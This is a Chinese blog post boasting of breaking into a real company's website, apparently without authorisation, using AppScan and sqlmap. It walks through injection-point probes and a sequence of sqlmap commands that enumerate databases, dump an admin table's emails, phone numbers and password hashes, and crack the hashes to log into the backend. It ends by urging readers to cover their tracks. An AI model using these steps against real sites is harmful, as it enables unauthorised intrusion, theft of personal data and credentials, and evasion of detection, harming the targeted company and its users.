如何一步步攻破一家互联网公司的

简介: 最近在研究Web安全相关的知识,特别是SQL注入类的相关知识。接触了一些与SQL注入相关的工具。周末在家闲着无聊,想把平时学的东东结合起来攻击一下身边某个小伙伴去的公司,看看能不能得逞。

最近在研究Web安全相关的知识,特别是SQL注入类的相关知识。接触了一些与SQL注入相关的工具。周末在家闲着无聊,想把平时学的东东结合起来攻击一下身边某个小伙伴去的公司,看看能不能得逞。不试不知道,一试还真TM得逞了,内心有些小激动,特在此写博文一篇,来记录下我是如何一步步攻破这家互联网公司的。

【作案工具介绍】

(1) AppScan渗透扫描工具

  Appscan是Web应用程序渗透测试舞台上使用最广泛的工具之一。它是一个桌面应用程序,它有助于专业安全人员进行Web应用程序自动化脆弱性评估。

(2) Sqlmap渗透测试工具

Sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞。

【作案细节如下】

首先使用Appscan工具,对www.xxx.com互联网公司的官网进行扫描,扫描结果如下:

     

在这56个安全性问题中,找到你感兴趣的链接,例如下面这条:

http://www.xxx.com/system/cms/show?id=1

为何要挑出这一条呢?因为它对于SQL注入比较典型,下面普及下SQL注入常用手法。首先用如下语句,确定该网站是否存在注入点:

  http://192.168.16.128/news.php?id=1      原网站

  http://192.168.16.128/news.php?id=1'      出错或显示不正常

  http://192.168.16.128/news.php?id=1 and 1=1 出错或显示不正常

  http://192.168.16.128/news.php?id=1 and 1=2 出错或显示不正常

  如果有出错,说明存在注入点。

  在判断完http://www.xxx.com/system/cms/show?id=1该链接存在注入点后,接下来就启动我们的渗透测试工具Sqlmap,进行下一步的注入工作,详细过程如下:

1) 再次确认目标注入点是否可用:

python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1

参数:

-u:指定注入点url

结果:

注入结果展示:

a. 参数id存在基于布尔的盲注,即可以根据返回页面判断条件真假的注入。

b. 参数id存在基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。

c. 数据库类型为:MySql 5.0.12

2) 暴库所有数据库:

一条命令即可曝出该sqlserver中所有数据库名称,命令如下:

python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 --dbs  

参数:

--dbs:dbs前面有两条杠,列出所有数据库。

结果:

结果显示该sqlserver中共包含3个可用的数据库。

3) 获取当前使用的数据库

python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 --current-db

参数:

--current-db:当前所使用的数据库。

结果:

4) 获取当前数据库使用账户

python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 --current-user

5) 列出sqlserver所有用户

python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 --users 

6) 获取当前用户数据库账户与密码

python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 --passwords

结果显示该用户可能无读取相关系统的权限。

7) 列出数据库中的表

python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 -D xxx_store --tables  

参数:

-D:指定数据库名称

--tables:列出表

结果:

 

结果显示共列出了69张表。

8) 列出表中字段

python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 -D xxx_store -T mall_admin --columns

参数:

-D:指定数据库名称

-T:指定要列出字段的表

--columns:指定列出字段

结果:

 

9)暴字段内容

python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 -D xxx_store -T mall_admin -C "ag_id,email,id,mobile,name,password,status" --dump

参数:

-C :指定要暴的字段

--dump:将结果导出

如果字段内容太多,需要花费很多时间。可以指定导出特定范围的字段内容,命令如下:

python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 -D xxx_store -T mall_admin -C "ag_id,email,id,mobile,name,password,status" --start 1 --stop 10 --dump

参数:

--start:指定开始的行

--stop:指定结束的行

此条命令的含义为:导出数据库xxx_store中的表mall_admin中的关于字段(ag_id,email,id,mobile,name,password,status)中的第1到第10行的数据内容。

结果如下:

通过上图,我们可以看到admin表中的用户信息了。我们将password字段通过md5解密,可以得到hash的原文密码,通过用户名和密码,我们就可以登录该网站了。

至此,我们已成功入侵到一家公司的后台,并拿到了相关的数据。不过要在这里提醒你:成功入侵只是成功了一半,另外最重要的一半是把屁股擦干净,不让别人发现你了!
目录
相关文章
|
弹性计算 大数据 程序员
据说这些是互联网公司招工时忽悠的黑话,大家来看看是不是真的?
据说这些是互联网公司招工时忽悠的黑话,大家来看看是不是真的?
111 0
据说这些是互联网公司招工时忽悠的黑话,大家来看看是不是真的?
|
云安全 机器学习/深度学习 运维
WannaCry反思:传统安全理念遭遇马奇诺防线式溃败
WannaCry反思:传统安全理念遭遇马奇诺防线式溃败
160 0
WannaCry反思:传统安全理念遭遇马奇诺防线式溃败
|
安全
现实版的黑客大战,这可能是中国黑客做过最燃的事情了
由一场撞击事件引发的黑客大战,80000人参与、被攻击网站超4000多个……这场看似没有硝烟的战争当时是何情景?让我们梦回2001,一起看看吧。 “81192无法返航” ——“呼叫81192,这里是553,我奉命接替你机执行巡航任务,请返航!” ——“81192收到,我已无法返航,你们继续前进,重复,你们继续前进!” 当年的“81192撞机事件”不仅是我们永远的痛,也成为黑客大战的直接导火索。
1229 0
|
机器学习/深度学习
为了这位视障人士,阿里工程师改造了一间“会照顾人”的家
来自阿里云IoT团队的工程师木酱参加了央视的《秘密大改造》,做了一个极具挑战的项目,为一位视障人士进行家居改造,希望给房子的主人一个能认识、陪伴、照顾他的家。
1713 0
|
区块链
曾鸣:谁能找到区块链的大应用机会,谁就能成大公司
曾鸣称,目前BAT在区块链上都还没有大动作,是因为大公司的内部创新机制与市场不大一样,目前大公司都还没找到好的切入点。
2551 0
经历:我被网络公司坑了之后用上了阿里云
很久之前,我找网络公司建了一个小网站。 我根本不懂建站这块,对服务器了不了解。 当时跟我说的是交钱,给我建好网站,然后就可以上了。 交了两年的服务费,然后前不久到期了。 我的悲剧就开始了。 坏人坐地起价,我无计可施。
2486 0
|
安全 云计算 数据安全/隐私保护